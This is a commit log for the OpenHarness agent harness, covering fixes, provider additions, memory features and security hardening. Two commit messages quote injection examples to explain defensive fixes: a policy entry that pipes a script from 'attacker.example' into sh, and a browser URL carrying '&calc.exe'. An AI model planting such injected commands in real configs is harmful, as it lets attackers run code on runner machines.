Compare commits

...

206 Commits

Author SHA1 Message Date
tjb-tech 9b2efd795c fix(config): preserve profile auth when overriding model
CI / Python tests (3.10) (push) Failing after 1s
CI / Python quality (push) Failing after 0s
CI / Python tests (3.11) (push) Failing after 0s
CI / Frontend typecheck (push) Failing after 0s
2026-06-04 02:42:36 +00:00
Yang XiuYuan 257916db67 fix(web): support persisted resolution modes (#285) 2026-06-04 09:30:31 +08:00
Yang XiuYuan 1763a2f708 fix(ohmo): send final image paths as media (#287) 2026-06-04 09:30:23 +08:00
Jiabin Tang 256f7fc2dd fix(ohmo): tee gateway run logs to file (#288) 2026-06-04 09:10:47 +08:00
José Maia a41011de19 fix(ohmo): gate gateway-scoped provider and model commands (#281)
/provider and /model are registered with remote_invocable=False and
remote_admin_opt_in=True in src/openharness/commands/registry.py, but
OhmoSessionRuntimePool.stream_message intercepted them with
_handle_gateway_scoped_command before the remote-allowed gate ran, so the
contract was silently skipped for both commands.

Move the gateway-scoped intercept after the gating block so the existing
remote_admin_opt_in / allow_remote_admin_commands +
allowed_remote_admin_commands path governs them like every other admin
command. Add a regression test that asserts /provider and /model are
rejected unless the operator has opted in, and update the existing
positive test to set the opt-in so it continues to exercise the success
path.

Refs #280

Co-authored-by: glitch-ux <glitch-ux@users.noreply.github.com>
2026-06-04 09:06:32 +08:00
guyuming bf5931e7c1 fix(runtime): close API clients on shutdown
Close API clients when the runtime shuts down to release HTTP connection pool resources, and surface the active session ID in /session output.

Cherry-picked from PR #273. Excluded the embedded-wrapper session resolver and memory parser API changes because they need a narrower public API design.
2026-05-27 10:19:21 +00:00
baizenghu a68d0f984d feat(hooks): add priority ordering for lifecycle hooks (#279)
Hooks now accept an optional priority field and HookRegistry returns hooks in stable highest-priority-first order.\n\nVerified with:\n- uv run pytest -o addopts='' tests/test_hooks tests/test_plugins/test_lifecycle_flow.py tests/test_plugins/test_loader.py tests/test_ui/test_runtime_plugin_tools.py -q\n- uv run ruff check src/openharness/hooks tests/test_hooks tests/test_plugins/test_lifecycle_flow.py tests/test_plugins/test_loader.py tests/test_ui/test_runtime_plugin_tools.py
2026-05-27 18:17:16 +08:00
Mcy0618 033dce67b1 fix(runtime): refresh prompt for permission mode changes
Inject the active permission mode into the runtime system prompt so plan/default/full-auto state is visible to the model.

Refresh the engine model, effort, permission checker, and system prompt when runtime-affecting slash commands update settings.

Based-on: #268
2026-05-24 09:10:10 +00:00
SABUJ123472 4c3bf5bbc9 fix(platform): harden Windows lock detection
Recognize win32 as a Windows platform alias and wrap missing platform lock modules in SwarmLockUnavailableError instead of leaking raw ImportError.

Based-on: #34
2026-05-24 09:07:19 +00:00
Siaochuan 63ac368975 fix(auth): prefer scoped provider env keys
Prefer OPENHARNESS_<PROVIDER>_API_KEY variables over provider-native globals while resolving API-key auth. Keep provider-native variables as fallback and avoid applying unrelated native keys across active profiles.

Forward the OpenHarness-scoped auth/provider environment variables to spawned teammates.

Based-on: #93
2026-05-24 09:05:44 +00:00
tjb-tech fea0b75bc4 fix(auth): show subscription setup errors
Preserve subscription-auth failures instead of rewriting them as missing API keys, and point Claude/Codex subscription users at the correct login and provider commands.

Fixes #254
2026-05-24 09:01:35 +00:00
tjb-tech c281d34c4a fix(swarm): inherit OpenHarness permission config
Forward OpenHarness config/data env vars to spawned teammates and apply CLI permission_mode overrides to Settings.permission.mode so full_auto survives sub-agent startup paths.

Fixes #274
2026-05-24 08:18:20 +00:00
tjb-tech f5608951e1 test(ohmo): cover Feishu domain setup prompts 2026-05-24 08:14:31 +00:00
tjb-tech 92e298852c Merge branch 'pr-276' into codex/pr-merge-test-20260524 2026-05-24 08:13:17 +00:00
tjb-tech 27bb93b810 Merge branch 'pr-272' into codex/pr-merge-test-20260524 2026-05-24 08:13:15 +00:00
tjb-tech ee0af9a24c Merge branch 'pr-270' into codex/pr-merge-test-20260524 2026-05-24 08:13:13 +00:00
hinotoi-agent 9a24b8dfe2 fix(commands): keep session transcript commands local-only 2026-05-22 13:19:37 +08:00
hinotoi-agent 4321bd824d fix(commands): keep project context commands local-only 2026-05-22 08:15:41 +08:00
WcW 175fe501a6 fix(ohmo-init): add domain prompt to feishu setup flow
ohmo init rewrites gateway.json without a domain field, undoing the
larksuite.com fix on every reconfigure. Add a domain selector so the
choice is persisted through init.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-21 16:48:07 +08:00
WcW 254ed90aed fix(feishu): add domain config to support Lark international (larksuite.com)
REST client and WebSocket client both defaulted to open.feishu.cn; apps
created on open.larksuite.com were rejected with "Incorrect domain name".

Add `domain` field to FeishuConfig (default: https://open.feishu.cn for
backwards compatibility). Pass it to both lark.Client.builder().domain()
and lark.ws.Client(domain=).

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-05-21 15:31:24 +08:00
Jiabin Tang 09bc641aad feat(memory): add Claude-style memory runtime (#267)
* Add Claude-style memory runtime

* fix(memory): trim relevance EOF whitespace
2026-05-17 15:31:35 +08:00
tjb-tech 6243793ec0 fix(tui): keep image paste CI stable 2026-05-17 06:18:59 +00:00
tjb-tech 330ece7a62 feat(tui): support clipboard image paste
Fixes #265
2026-05-17 06:13:19 +00:00
Yang XiuYuan 6747d12385 feat(memory): add structured schema and usage index (#266)
* feat(memory): add structured schema and usage index

Add schema-v1 frontmatter for memory files, including stable ids, deterministic signatures, soft delete metadata, TTL handling, and migration support for legacy stores.

Track recalled memories in usage_index.json so retrieval can prioritize useful memories and auto-dream can review stale unused entries before pruning.

Keep project and ohmo memory backends aligned under the same behavior while preserving runtime compatibility for unmigrated Markdown files.

* fix(memory): make backend migration defaults explicit
2026-05-17 14:01:24 +08:00
tjb-tech 7a0bfe9122 Merge remote-tracking branch 'origin/main' into review/pr-248 2026-05-16 13:11:47 +00:00
tjb-tech 595a9ab3a4 Merge remote-tracking branch 'origin/main' into review/pr-256
# Conflicts:
#	CHANGELOG.md
2026-05-16 13:04:45 +00:00
tjb-tech 4ba71f2d4a fix(telegram): use configured bot identity
Remove the hard-coded nanobot name from Telegram /start and /help responses and sanitize dangling tool-use turns before continue_pending resumes a session.
2026-05-16 12:45:08 +00:00
tjb-tech 889d9dcbda fix(grep): keep missing roots as tool errors 2026-05-16 12:24:21 +00:00
tjb-tech a2888506ba fix(web): support explicit search endpoint and proxy 2026-05-16 12:16:15 +00:00
tjb-tech 0531963435 Merge remote-tracking branch 'origin/main' into review/pr-260
# Conflicts:
#	CHANGELOG.md
2026-05-16 11:52:30 +00:00
tjb-tech c6b7552008 fix(telegram): hide bot tokens in dependency logs
Silence Telegram HTTP dependency loggers before polling starts, keep pending updates by default, and surface channel startup/handler failures through gateway state.
2026-05-16 11:50:59 +00:00
David Whatley 635d77fad4 fix(openai): omit empty reasoning_content by default (#263)
`reasoning_content` is a non-standard field that some thinking-model
providers (Kimi k2.5 on Anthropic-format) require on every assistant
message with tool calls — even when empty. Other OpenAI-compatible
providers (Cerebras, NVIDIA NIM, OpenAI direct, etc.) reject the field
outright with a 400 ``wrong_api_format`` validation error.

Until now, ``_convert_assistant_message`` unconditionally emitted
``reasoning_content: ''`` for tool-using assistant messages. That hard-
breaks every strict-OpenAI provider on the very first tool turn.

Behaviour change:

- Captured non-empty reasoning is still always replayed.
- The empty-string fallback is now opt-in via
  ``OPENHARNESS_REQUIRE_EMPTY_REASONING_CONTENT=1``.
- Default behaviour matches strict-OpenAI providers, which is the
  larger / standards-compliant population. Kimi-on-Anthropic users
  set the env var in their dotfiles or settings.

Verified end-to-end against Cerebras gpt-oss-120b (previously 100%
failure rate from this field) — zero ``wrong_api_format`` errors.

Tests added: 6 cases covering captured-replay, opt-in matrix
(truthy/falsy values), and the no-tool-calls invariant.
2026-05-16 19:46:00 +08:00
Hinotobi 7b44b7dab1 [security] fix(ohmo): scope Slack thread sessions by sender (#255) 2026-05-16 19:45:56 +08:00
tjb-tech 484502168d fix(commands): resolve remote admin command merges 2026-05-16 11:44:36 +00:00
tjb-tech 8b2ec8300d Merge branch 'review/pr-251-merge' 2026-05-16 11:40:52 +00:00
tjb-tech a1fef67cdc Merge branch 'review/pr-252-merge'
# Conflicts:
#	src/openharness/commands/registry.py
#	tests/test_commands/test_registry.py
#	tests/test_ohmo/test_gateway.py
2026-05-16 11:40:43 +00:00
tjb-tech 9cff3a05b0 Merge branch 'review/pr-253-merge'
# Conflicts:
#	tests/test_commands/test_registry.py
2026-05-16 11:40:01 +00:00
Hinotobi c38e2fc066 [security] fix(commands): keep autopilot local-only by default (#258) 2026-05-16 19:38:39 +08:00
Hinotobi 653369d983 [security] fix(commands): keep /commit local-only over remote channels (#261) 2026-05-16 19:38:35 +08:00
yl-jiang f61f70d7b1 feat(tui): preview diffs before edit and write approval
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-05-13 13:44:43 +08:00
Pat Yang b93b2cfb30 fix(codex): pass reasoning effort separately 2026-05-12 14:34:12 +08:00
hinotoi-agent efb4b71eb3 chore: retrigger CI for diff command fix 2026-05-12 10:21:54 +08:00
hinotoi-agent c70811cc40 fix(commands): keep diff local-only by default 2026-05-12 10:05:00 +08:00
hinotoi-agent 73fb0fa0bf fix(commands): keep tasks local-only remotely 2026-05-12 09:06:43 +08:00
d 🔹 a75053a740 fix(channels): declare reply_to_message field on TelegramConfig
`TelegramChannel.send` reads `self.config.reply_to_message` in the
outbound path, but the field was never declared on `TelegramConfig` —
only `ohmo init` (interactive mode) wrote it as a free-form key into
gateway.json. Configs that do not go through the interactive prompt —
`ohmo init --no-interactive`, pre-0.1.9 hand-written gateway.json, the
docs example — never have the key set, so every outbound message
crashes with `AttributeError: 'TelegramConfig' object has no attribute
'reply_to_message'` and the bot appears completely silent to the user.

Add `reply_to_message: bool = True` to `TelegramConfig` so the attribute
always exists. The default matches the interactive `ohmo init` default
(`default=bool(prior.get("reply_to_message", True))` in `ohmo/cli.py`),
so non-interactive and interactive configs that accept defaults behave
identically.

Same shape as #192 (proxy field), which added a missing `TelegramConfig`
attribute the implementation already assumed.

Closes #243

Co-authored-by: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-05-12 03:39:34 +08:00
Yudong An 5b46a2f7b3 Fix cron scheduler on Windows 2026-05-11 15:25:01 +08:00
Jiabin Tang 1929ad8051 feat(ohmo): add agent-turn cron delivery (#247) 2026-05-10 16:55:10 +08:00
Jiabin Tang f61901e842 feat(memory): add auto-dream consolidation (#246)
Add auto-dream memory consolidation with lock-based scheduling, manual /dream commands, backup/diff/rollback support, and ohmo integration for project and personal memory.
2026-05-09 14:09:55 +08:00
Jiabin Tang 0c6b81d61f feat: add configurable image generation tool (#244)
Add a configurable image_generation tool with OpenAI-compatible and Codex hosted providers, propagate generated media metadata through stream events, and let ohmo channels send generated image/file paths automatically.
2026-05-09 13:18:23 +08:00
Jiabin Tang 225e87f7d7 fix: recover from dangling tool call history (#239) 2026-05-08 18:25:36 +08:00
tjb-tech 18fc6dea13 feat(skills): discover Claude and project skills 2026-05-08 03:49:02 +00:00
tjb-tech a0f8552c69 chore(release): prepare v0.1.9 2026-05-07 11:08:58 +00:00
tjb-tech b22d5e9368 fix(cli): allow updating provider API keys 2026-05-07 10:05:31 +00:00
tjb-tech 0e557a65d3 feat(skills): expose user-invocable skills as slash commands 2026-05-06 13:43:39 +00:00
tjb-tech ffc50221df feat(skills): add skill creator bundled skill 2026-05-06 13:05:03 +00:00
tjb-tech a07837c657 chore(release): prepare v0.1.8 2026-05-06 12:56:08 +00:00
tjb-tech 807e3ecd47 fix(ohmo): respect Feishu group mention policy 2026-05-06 12:46:28 +00:00
tjb-tech d2489758f0 fix(config): add NVIDIA NIM provider profile
Add a built-in NVIDIA NIM OpenAI-compatible workflow that reads NVIDIA_API_KEY, document the backend, and cover auth/profile materialization. Also make Windows shell resolution skip discovered bash executables that cannot run commands, and update the macOS Terminal backspace troubleshooting note to reflect the current fix.
2026-05-06 11:06:35 +00:00
tjb-tech 373147907a test(mcp): use built-in exception groups on Python 3.11 2026-05-06 10:17:11 +00:00
tjb-tech e0860bd3bd Merge branch 'review/pr-229' into review/security-mcp-windows-skills
# Conflicts:
#	CHANGELOG.md
2026-05-06 10:06:20 +00:00
tjb-tech 2ab4fdb2f7 Merge branch 'review/pr-231' into review/security-mcp-windows-skills 2026-05-06 10:05:20 +00:00
tjb-tech 0f7e9a20f4 Merge branch 'review/pr-237' into review/security-mcp-windows-skills 2026-05-06 10:05:20 +00:00
tjb-tech 57a9134997 test(swarm): accept versioned Python executables 2026-05-06 10:05:11 +00:00
tjb-tech d5b1977fab Merge remote-tracking branch 'origin/main' into review/pr-229 2026-05-06 10:02:01 +00:00
tjb-tech 30d4fb3ebf Merge remote-tracking branch 'origin/main' into review/pr-232 2026-05-06 10:02:01 +00:00
tjb-tech 626ad2daf4 Merge remote-tracking branch 'origin/main' into review/pr-237 2026-05-06 10:02:01 +00:00
tjb-tech ffa7d9c06a Merge remote-tracking branch 'origin/main' into review/pr-231 2026-05-06 10:02:01 +00:00
tjb-tech 0528a7a2c2 fix(ohmo): isolate group command context 2026-05-06 09:55:38 +00:00
tjb-tech ebb402cfd3 fix(api): set OpenAI authorization header explicitly 2026-05-06 09:12:38 +00:00
tjb-tech 8f30deffe9 feat(ohmo): add gateway-scoped model provider commands 2026-05-06 09:10:38 +00:00
tjb-tech 52a0551569 feat(ohmo): add Feishu group creation flow
Add an ohmo-only /group flow for Feishu private chats, persist managed group metadata, and route shared-chat sessions safely. Also update Feishu reply handling and gateway tests for private/group behavior.
2026-05-06 08:44:17 +00:00
Litianhui888 a98292b814 fix(mcp): isolate startup from failed servers
Treat per-server initialization cancellation as a connection failure instead of aborting overall startup, and suppress cleanup-time exception groups from half-open MCP sessions.
2026-05-06 10:13:35 +08:00
hinotoi-agent 03f4c47ebb fix(api): preserve OpenAI authorization header 2026-05-05 13:36:58 +08:00
hinotoi-agent 4e33118c48 fix(commands): keep config auth commands local-only 2026-05-05 13:32:29 +08:00
David Whatley 5f97b2416e fix(swarm,tasks): direct-exec teammate spawn, bypass shell on Windows (#230)
Teammate spawn (`agent` tool, `task_create`) failed on Windows with exit
127 and "command not found" against a backslash-mangled Python path,
even though the same `bash -lc "..."` command worked interactively.

Root cause: `subprocess_backend.spawn` built a single shell command
string with a `KEY='val' python ...` env-prefix, then routed through
`bash -lc` via `asyncio.create_subprocess_exec`. Two failures stacked:

  1. The env-prefix string used Python `repr()` for values, and Git
     Bash's `-lc` argument parser consumed backslashes inside the
     quoted segments as escape sequences (`\U` -> `U`).
  2. Even with proper `shlex.quote` of every command part — keeping
     backslashes intact — Git Bash launched via
     `asyncio.create_subprocess_exec` could not exec a Windows-pathed
     Python interpreter, returning `command not found` for the same
     argv that interactive bash exec'd fine.

Fix: don't use a shell at all for teammate spawn.

  * Add `argv: list[str] | None` to `TaskRecord` plus matching kwargs
    on `BackgroundTaskManager.create_shell_task` /
    `create_agent_task`. Either `command` (shell) or `argv` (direct
    exec) must be supplied; both is rejected.
  * `_start_process` runs the argv path via
    `asyncio.create_subprocess_exec(*argv, env=...)` directly, with no
    bash wrapper.
  * `subprocess_backend.spawn` builds an argv list (via
    `get_teammate_command()` plus inherited CLI flags) and hands it to
    `create_agent_task(argv=..., env=...)`. Inherited env vars now
    flow through `env=` rather than being embedded in the command
    string.
  * The legacy shell-evaluated `command=` path is preserved verbatim
    for callers (e.g. `BashTool`) that legitimately want shell
    semantics — only teammate spawn migrates to direct exec.

Tests: 5 new unit tests in `tests/test_swarm/test_subprocess_backend.py`
and 3 in `tests/test_tasks/test_manager.py` lock in the contract — env
plumbed via `env=` kwarg, argv list preserves Windows backslashed
paths, command/argv mutual exclusion, direct-exec round-trip.

Validated end-to-end on Windows 11 against a real CEO/Lead workflow:
CEO successfully calls `agent` tool, Lead spawns at depth=1 and
issues 29 tool calls. Same path was producing exit-127 task logs
before this change.
2026-05-04 16:21:40 -05:00
voidborne-d a857455fd0 fix(skills): use yaml.safe_load for bundled SKILL.md frontmatter
PR #96 fixed the user-skill loader to use yaml.safe_load instead of
naive line-by-line splitting, so YAML block scalars (`>`, `|`),
quoted values, and other standard constructs parse correctly. The
bundled skill loader still used the old parser, so a bundled skill
with a folded description like

    ---
    name: my-skill
    description: >
      A long folded description
      that spans multiple lines.
    ---

would emit `description='>'` (just the marker character) instead of
the expanded text.

Extract the YAML-aware parser into `openharness.skills._frontmatter`
and have both `skills/loader.py::_parse_skill_markdown` and
`skills/bundled/__init__.py::_parse_frontmatter` delegate to it. The
bundled loader keeps its `Bundled skill: <name>` fallback prefix via
the `fallback_template` argument.

Add five regression tests in `tests/test_skills/test_loader.py`
covering folded scalars, literal scalars, inline descriptions, the
"Bundled skill:" fallback, and the heading-plus-paragraph fallback
on the bundled side.
2026-05-05 03:38:47 +08:00
tjb-tech 7873f0d109 fix(engine): clamp oversized token budgets 2026-05-03 09:03:05 +00:00
tjb-tech f10d8875ee feat(ui): make mode switching and stop explicit 2026-05-03 09:02:47 +00:00
Anciety 56a954a0a9 fix(gateway): support Windows process lifecycle (#193)
The ohmo gateway process management (start, find, stop) only worked on
Unix-like systems. On Windows, all three operations fail:

- start_gateway_process: uses start_new_session=True (no equivalent on
  Windows; also lacks stdin=DEVNULL which causes the subprocess to
  inherit the parent's console input)
- _pid_is_running: uses os.kill(pid, 0) which raises PermissionError
  for processes the caller doesn't own on Windows
- _iter_workspace_gateway_pids: shells out to `ps`, which doesn't exist
  on Windows
- stop_gateway_process: uses os.kill(pid, SIGTERM), which is not
  supported on Windows

Replace each with a Windows-compatible path guarded by sys.platform:

- Start: CREATE_NEW_PROCESS_GROUP | DETACHED_PROCESS, stdin=DEVNULL
- PID check: OpenProcess/GetExitCodeProcess via ctypes (STILL_ACTIVE)
- PID listing: wmic process where commandline like ... get processid
- Stop: taskkill /F /T /PID

The Unix paths remain unchanged.

Co-authored-by: ancietyding <ancietyding@tencent.com>
2026-05-03 16:52:23 +08:00
Mcy0618 d611d6ddf6 feat(vision): add image-to-text fallback for text-only models (#227)
* feat(provider): add ModelScope inference API support

* fix(cli/auth): wire ModelScope into CLI and auth manager

* feat(vision): add image-to-text fallback for non-multimodal models

* fix: remove leftover merge conflict marker in query.py

* test: fix cross-platform test failures

* test: remove unused os import in test_environment.py
2026-05-03 16:47:56 +08:00
Mcy0618 e536394812 feat(provider): add ModelScope inference API support (#224)
* feat(provider): add ModelScope inference API support

* fix(cli/auth): wire ModelScope into CLI and auth manager
2026-05-02 22:07:45 +08:00
tjb-tech 47e0e93387 fix(gateway): degrade image attachments for text-only models
Support absolute glob patterns without crashing and retry ohmo channel messages without ImageBlocks when a provider rejects image input.\n\nFixes #225\nFixes #226
2026-05-02 14:04:25 +00:00
tjb-tech c835d7cf2e feat(model): manage profile model allowlists
Add /model list/add/remove/clear so a single provider profile can expose multiple switchable models in the TUI selector. Also add regression coverage for invalid grep regexes in the Python fallback.\n\nFixes #222\nRefs #218
2026-05-01 12:38:48 +00:00
Guangxin Wang d9002c3cb2 fix(grep): handle invalid fallback regex (#219)
* fix: catch re.error in _python_grep_files to prevent crash on invalid regex

Agent-Logs-Url: https://github.com/WANG-Guangxin/OpenHarness/sessions/909fcb62-fba5-41a9-8784-0d5f483a408a

Co-authored-by: WANG-Guangxin <71872849+WANG-Guangxin@users.noreply.github.com>

* fix: improve invalid regex error message to include pattern for debugging

Agent-Logs-Url: https://github.com/WANG-Guangxin/OpenHarness/sessions/909fcb62-fba5-41a9-8784-0d5f483a408a

Co-authored-by: WANG-Guangxin <71872849+WANG-Guangxin@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
2026-05-01 20:31:13 +08:00
José Maia 11faa13d63 fix(auth): avoid shell execution for Windows browser open (#217)
DeviceCodeFlow._try_open_browser previously called
``subprocess.Popen(["start", "", url], shell=True)`` on Windows.  Because
``shell=True`` routes through cmd.exe, a URL returned by the GitHub
device-flow endpoint (or a user-configured enterprise endpoint) that
contained ``&``/``|``/``^`` would have its trailing tokens interpreted as
command separators — e.g. ``https://x.com&calc.exe`` would launch
calc.exe alongside the browser.

Replace the Windows branch with ``os.startfile``, which calls
ShellExecuteW directly and hands the full URL to the registered
URL handler verbatim.  Also reject any non-http(s) scheme up front so
``file:`` / ``javascript:`` / bare executable tokens cannot reach any
platform launcher.  macOS and Linux/WSL paths are unchanged (they were
already shell=False).

Adds tests/test_auth/test_flows.py covering the four platform branches
plus the scheme guard, including an explicit regression assertion that
shell=True is never set on the Popen calls.

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-05-01 20:29:30 +08:00
tjb-tech 1bcdc62a50 test(ohmo): harden memory prompt isolation coverage 2026-04-29 08:51:02 +00:00
tjb-tech cc825efb83 fix(ohmo): isolate personal memory from project memory 2026-04-29 08:47:58 +00:00
Hinotobi df348b6335 test(gateway): cover remote bridge spawn block (#209) 2026-04-29 16:38:33 +08:00
tjb-tech 1498a87806 fix(compact): bound large tool result history 2026-04-28 13:28:01 +00:00
tjb-tech 726b3ee028 fix(compact): handle local vision context pressure 2026-04-28 07:04:43 +00:00
hinotoi-agent 438e373097 fix: keep bridge command local-only by default 2026-04-28 11:51:44 +08:00
tjb-tech 380bab4d7b test(api): lock bearer auth for openai-compatible providers 2026-04-28 02:52:36 +00:00
tjb-tech 6bfc5c50d0 Merge branch 'pr-207' into review/206-207 2026-04-28 02:52:03 +00:00
tjb-tech 9a8a14331d fix(tasks): preserve multiline prompts for task workers 2026-04-28 02:41:33 +00:00
tjb-tech 25f2043f53 Merge branch 'pr-201' into merge/rest-20260428 2026-04-28 02:35:11 +00:00
tjb-tech 1fb617d4f4 Merge branch 'pr-200' into merge/rest-20260428 2026-04-28 02:35:11 +00:00
tjb-tech b618f639d7 Merge branch 'pr-205' into merge/rest-20260428 2026-04-28 02:35:11 +00:00
tjb-tech a24a28b38a Merge branch 'pr-197' into merge/rest-20260428 2026-04-28 02:35:11 +00:00
Hinotobi bed1e4777e fix(plugins): reject traversal names on uninstall (#198) 2026-04-28 10:34:31 +08:00
hzb be66e015bf feat(providers): add Qwen (DashScope) to default provider profiles
Add qwen profile to default_provider_profiles() with dashscope provider.
Uses OpenAI-compatible API format at dashscope.aliyuncs.com with
qwen-plus as the default model and DASHSCOPE_API_KEY for auth.

The ProviderSpec for dashscope already existed in registry.py but lacked
a ProviderProfile, making it unavailable via 'oh provider list/use'.
2026-04-28 10:19:39 +08:00
yl-jiang 90ec299221 docs(changelog): add unreleased entries for subprocess stderr deadlock fixes
Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-27 22:58:40 +08:00
yl-jiang 593dcbcaeb fix(bridge): session_runner 将 stderr 合并到 stdout 流
将子进程 stderr=PIPE 改为 stderr=STDOUT,确保 stderr
输出不会因无人读取而阻塞子进程,同时简化调用方对输出流的处理

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-27 22:57:31 +08:00
yl-jiang 0305dfb3ec fix(tools): subprocess stderr 改为 DEVNULL 并为 bash_tool 添加读取超时
glob/grep 工具的 rg 子进程 stderr 由 PIPE 改为 DEVNULL,
防止 stderr buffer 写满时子进程阻塞造成管道死锁;
bash_tool 的 _read_remaining_output 加 2s 超时,
避免进程退出后读取残余输出时无限挂起

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
2026-04-27 22:57:31 +08:00
ancietyding b731c3ede1 fix(tui): allow escape to interrupt active runs
Add an explicit frontend-to-backend interrupt request so Esc can stop the current agent turn without relying on platform-specific terminal signals.
2026-04-27 14:17:49 +08:00
José Maia 3e09dde114 fix(ui): drain coordinator async agents in interactive backends
Issue #195: in coordinator mode, the React TUI and Textual app never
injected `<task-notification>` envelopes after a worker finished.
`run_print_mode` had `_drain_coordinator_async_agents` wired in, but
`ReactBackendHost._process_line` and `TextualApp._process_line` only
called `handle_line` and returned, leaving the contract documented in
the coordinator system prompt (results arrive between turns) unmet.

Extract the drain helpers into `openharness.ui.coordinator_drain` and
invoke `drain_coordinator_async_agents` from both interactive hosts
after `handle_line` when coordinator mode is active. The shared module
also avoids a circular import between `ui.app` and `ui.backend_host`.
2026-04-27 00:45:43 +01:00
hinotoi-agent 801f6b321c fix(feishu): contain inbound attachment filenames 2026-04-26 20:19:27 +08:00
tjb-tech 1325770b28 fix(plugins): defer tool imports for disabled plugins 2026-04-25 06:10:37 +00:00
Yan, Zhi Yuan 6c83a4c978 feat: discover and register BaseTool subclasses from plugin tools/ dirs
Plugins can now contribute Python tools by placing BaseTool subclasses
in their tools/ directory. The loader scans for .py files, imports them
via importlib, instantiates any BaseTool subclasses found, and registers
them in the tool registry at runtime.

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-04-25 06:10:37 +00:00
Anciety e7eab63852 fix(channels): add missing proxy field to TelegramConfig (#192)
The proxy field is referenced in telegram.py (builder.proxy /
get_updates_proxy) but was never declared in the TelegramConfig schema.
This causes an AttributeError at runtime if the proxy code path is
reached.

Introduced when channels were ported from nanobot in ab37aac.

Co-authored-by: ancietyding <ancietyding@tencent.com>
2026-04-25 14:04:47 +08:00
tjb-tech f683b4aed2 fix(tui): handle repeated backspace chunks on windows terminals 2026-04-24 16:35:09 +00:00
tjb-tech 835588daa0 fix(compact): keep tool pairs intact across compact boundaries 2026-04-24 16:27:06 +00:00
Yufeng He 0bba07fe19 fix(tui): complete slash commands without cursor drift (#185)
Three related bugs in the React TUI slash-command flow (fixes #183):

1. Tab completion left a trailing space after the command, so hitting
   Enter right after Tab would submit "/exit " (with arg) instead of
   running /exit. Drop the space — user can add one themselves if they
   want to type an argument.

2. After a programmatic setInput() from completion/history, the
   MultilineTextInput cursor stayed at its previous offset instead of
   moving to the end of the newly-inserted text. Subsequent keystrokes
   landed in the middle of the completed command ("/eXxit" when typing
   X after Tab-completing "/exit"). Track the last internally-authored
   value via a ref; when the incoming value differs, treat it as an
   external change and snap the cursor to the end.

3. /quit is the other obvious word for "exit" and users were surprised
   when it wasn't registered. Add an `aliases` field to SlashCommand
   and make /quit an alias of /exit. help/list output deduplicates
   aliases so they resolve via lookup without cluttering the command
   listing.

Tests:
- tests/test_commands/test_registry.py: new tests for the alias path
  and for help/list dedup. Both pass locally.
- MultilineTextInput doesn't have a standalone unit test for the
  cursor behavior (uses node:test + ink render harness, can't run
  without node toolchain on this machine), but the fix is a local,
  obvious change in a single component.

Co-authored-by: Yufeng He <40085740+universeplayer@users.noreply.github.com>
2026-04-23 19:25:50 +08:00
tjb-tech 75c0481dba fix(channels): restore shared helper utilities 2026-04-23 10:57:30 +00:00
José Maia 25d0bc7ab1 fix(autopilot): run verification commands without shell by default (#188)
Verification entries from `.openharness/autopilot/verification_policy.yaml`
were handed to `subprocess.run(shell=True, ...)`. Because the policy file
lives inside the working copy autopilot is triaging — and the autopilot
prompt invites the model to edit it — a hostile contributor or prompt
injection could land a string like `pytest; curl attacker.example/x | sh`
that runs on the autopilot runner with full privileges.

Each entry is now parsed into argv via `shlex.split` and executed with
`shell=False`. Commands that genuinely need shell features declare the
mapping form `{command: "...", shell: true}` explicitly — this surfaces
the escalation in policy diffs and PR review. Entries that contain shell
metacharacters without the opt-in become `status="error"` verification
steps, failing the gate loudly rather than silently executing. The
default policy's `cd frontend/terminal && ...` step is converted to the
opt-in form.

Closes #187.

Co-authored-by: José Maia <glitch-ux@users.noreply.github.com>
2026-04-23 18:57:19 +08:00
Auauau 9078071803 fix(tui): restore backspace behavior for raw DEL terminals (#182)
Ink reports the common DEL byte as a delete key, which means React TUI prompt editing can lose Backspace behavior on terminals that send 0x7f for backward delete. This change records the raw input sequence so PromptInput can treat raw DEL as backward delete while preserving true forward-delete escape sequences, and it adds a focused regression test plus changelog entry.\n\nConstraint: Ink normalizes raw DEL into key.delete for some terminal environments\nRejected: Treat delete at end-of-line as backspace | breaks true forward delete semantics on terminals that send distinct delete sequences\nConfidence: high\nScope-risk: narrow\nReversibility: clean\nDirective: Keep raw-sequence disambiguation aligned with Ink input semantics before refactoring PromptInput keyboard handling\nTested: /Users/wangxin/.openharness-venv/bin/ruff check src tests scripts\nTested: /Users/wangxin/.openharness-venv/bin/pytest -q\nTested: cd frontend/terminal && npx tsc --noEmit\nTested: cd frontend/terminal && node --import tsx --test src/components/MarkdownText.test.tsx src/components/PromptInput.test.tsx\nNot-tested: Manual verification on non-macOS terminals\nRelated: d4eae15

Co-authored-by: wangxin <wangxinwxwx@shopee.com>
2026-04-22 16:15:11 +08:00
tjb-tech c4075ffea3 test(cli): stabilize help output assertion 2026-04-22 07:41:39 +00:00
tjb-tech 699bab3d3a feat(cli): add dry-run safe preview mode 2026-04-22 07:36:59 +00:00
Flo 4dd7b76114 fix(shell): default stdin to DEVNULL for shell subprocesses (#179)
- default create_shell_subprocess stdin to DEVNULL so shell children do not inherit the parent TTY by accident
- add a direct regression test covering the helper default, alongside the existing BashTool coverage

Local verification:
- PYTHONPATH=src pytest -q tests/test_utils/test_shell.py tests/test_tools/test_bash_tool.py
- PYTHONPATH=src python - <<'PY' ... create_shell_subprocess smoke ... PY
2026-04-21 20:11:17 +08:00
tjb-tech 559ba76f23 feat(hooks): fire subagent_stop for spawned agents 2026-04-20 09:13:32 +00:00
tjb-tech 8d48829c20 Merge PR #174: fix(api): strip <think> blocks from OpenAI-compatible streaming responses 2026-04-20 09:02:17 +00:00
tjb-tech 6ef371f62f fix(api): handle split think tags in stream filter 2026-04-20 09:02:03 +00:00
tjb-tech ee97f8e78d test(swarm): stabilize subprocess backend prompt coverage 2026-04-20 08:10:05 +00:00
tjb-tech 1158027082 fix(swarm): forward worker system prompts to subprocesses 2026-04-20 08:05:41 +00:00
